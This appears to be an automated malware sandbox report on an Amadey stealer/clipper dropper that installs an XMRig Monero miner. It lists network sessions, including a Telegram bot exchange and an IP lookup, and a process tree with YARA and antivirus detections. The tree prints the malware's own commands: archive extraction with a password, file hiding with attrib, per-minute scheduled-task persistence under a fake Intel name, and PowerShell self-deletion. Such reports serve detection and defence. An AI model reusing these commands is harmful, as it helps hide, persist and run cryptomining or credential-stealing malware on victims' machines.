2024-12-21 17:16:44 UTC	777	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 33 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 35 35 38 37 38 35 34 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 72 68 6a 64 66 74 6a 6b 77 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 72 68 6a 64 66 74 6a 6b 77 34 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 34 32 37 30 30 39 37 37 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 30 34 31 61 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 30 5c 75 30 34 33 64 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 33 32 22 Data Ascii: {"ok":true,"result":{"message_id":28306,"from":{"id":7855878545,"is_bot":true,"first_name":"srhjdftjkw4","username":"srhjdftjkw4_bot"},"chat":{"id":7427009775,"first_name":"\u041a\u0430\u0440\u0434\u0430\u043d","last_name":"\u0412\u0430\u043b\u043e\u0432"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49891	34.226.108.155	443	5660	C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:57 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-21 17:16:57 UTC	224	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 17:16:57 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-21 17:16:57 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	12:14:58
Start date:	21/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xda0000
File size:	3'289'088 bytes
MD5 hash:	B54CF9188652A3BFE166D33C542F8AC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:15:03
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x360000
File size:	3'289'088 bytes
MD5 hash:	B54CF9188652A3BFE166D33C542F8AC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:15:03
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x360000
File size:	3'289'088 bytes
MD5 hash:	B54CF9188652A3BFE166D33C542F8AC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:16:00
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x360000
File size:	3'289'088 bytes
MD5 hash:	B54CF9188652A3BFE166D33C542F8AC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:16:14
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe"
Imagebase:	0xae0000
File size:	1'861'632 bytes
MD5 hash:	15709EBA2AFAF7CC0A86CE0ABF8E53F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:16:20
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe"
Imagebase:	0x650000
File size:	439'296 bytes
MD5 hash:	51FF79B406CB223DD49DD4C947EC97B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:16:21
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
Imagebase:	0xe30000
File size:	439'296 bytes
MD5 hash:	51FF79B406CB223DD49DD4C947EC97B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:16:21
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
Imagebase:	0xe30000
File size:	439'296 bytes
MD5 hash:	51FF79B406CB223DD49DD4C947EC97B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:16:27
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe"
Imagebase:	0x7ff7ecd60000
File size:	605'696 bytes
MD5 hash:	3567CB15156760B2F111512FFDBC1451
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:16:27
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
Imagebase:	0x7ff7ecd60000
File size:	605'696 bytes
MD5 hash:	3567CB15156760B2F111512FFDBC1451
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:16:37
Start date:	21/12/2024
Path:	C:\Program Files\Windows Media Player\graph\graph.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\graph\graph.exe"
Imagebase:	0x7ff7eda90000
File size:	251'392 bytes
MD5 hash:	7D254439AF7B1CAAA765420BEA7FBD3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	12:16:39
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 87%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	12:16:39
Start date:	21/12/2024
Path:	C:\Program Files\Windows Media Player\graph\graph.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\graph\graph.exe"
Imagebase:	0x7ff7eda90000
File size:	251'392 bytes
MD5 hash:	7D254439AF7B1CAAA765420BEA7FBD3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	12:16:43
Start date:	21/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff60f780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	12:16:43
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	12:16:43
Start date:	21/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff6600b0000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:16:43
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x540000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:16:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x540000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:16:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x540000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:16:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x540000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:16:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x540000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:16:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x540000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x540000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x540000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff703db0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff6d9d50000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff703db0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff703db0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:16:45
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:16:46
Start date:	21/12/2024
Path:	C:\Program Files\Windows Media Player\graph\graph.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\graph\graph.exe"
Imagebase:	0x7ff7eda90000
File size:	251'392 bytes
MD5 hash:	7D254439AF7B1CAAA765420BEA7FBD3F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	12:16:47
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff73f940000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	12:16:47
Start date:	21/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000028.00000002.2781226927.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000028.00000002.2780527209.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000028.00000002.2780527209.0000000000B5A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000028.00000002.2781133472.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	12:16:47
Start date:	21/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff7a1660000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	12:16:47
Start date:	21/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	12:16:47
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	12:16:47
Start date:	21/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff7a1660000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	12:16:51
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe"
Imagebase:	0x4b0000
File size:	4'487'680 bytes
MD5 hash:	75C18C2AD58682381AA0C415E99861A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	12:16:54
Start date:	21/12/2024
Path:	C:\Program Files\Windows Media Player\graph\graph.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\graph\graph.exe"
Imagebase:	0x7ff7eda90000
File size:	251'392 bytes
MD5 hash:	7D254439AF7B1CAAA765420BEA7FBD3F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	12:16:59
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe"
Imagebase:	0x7a0000
File size:	1'374'720 bytes
MD5 hash:	669ED3665495A4A52029FF680EC8EBA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 28%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	12:17:02
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff73f940000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	12:17:02
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
Imagebase:	0xe30000
File size:	439'296 bytes
MD5 hash:	51FF79B406CB223DD49DD4C947EC97B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	742
Total number of Limit Nodes:	13

Executed Functions

Function 00DD652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00DD652A,?,?,?,?,?,00DD7661), ref: 00DD6566

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
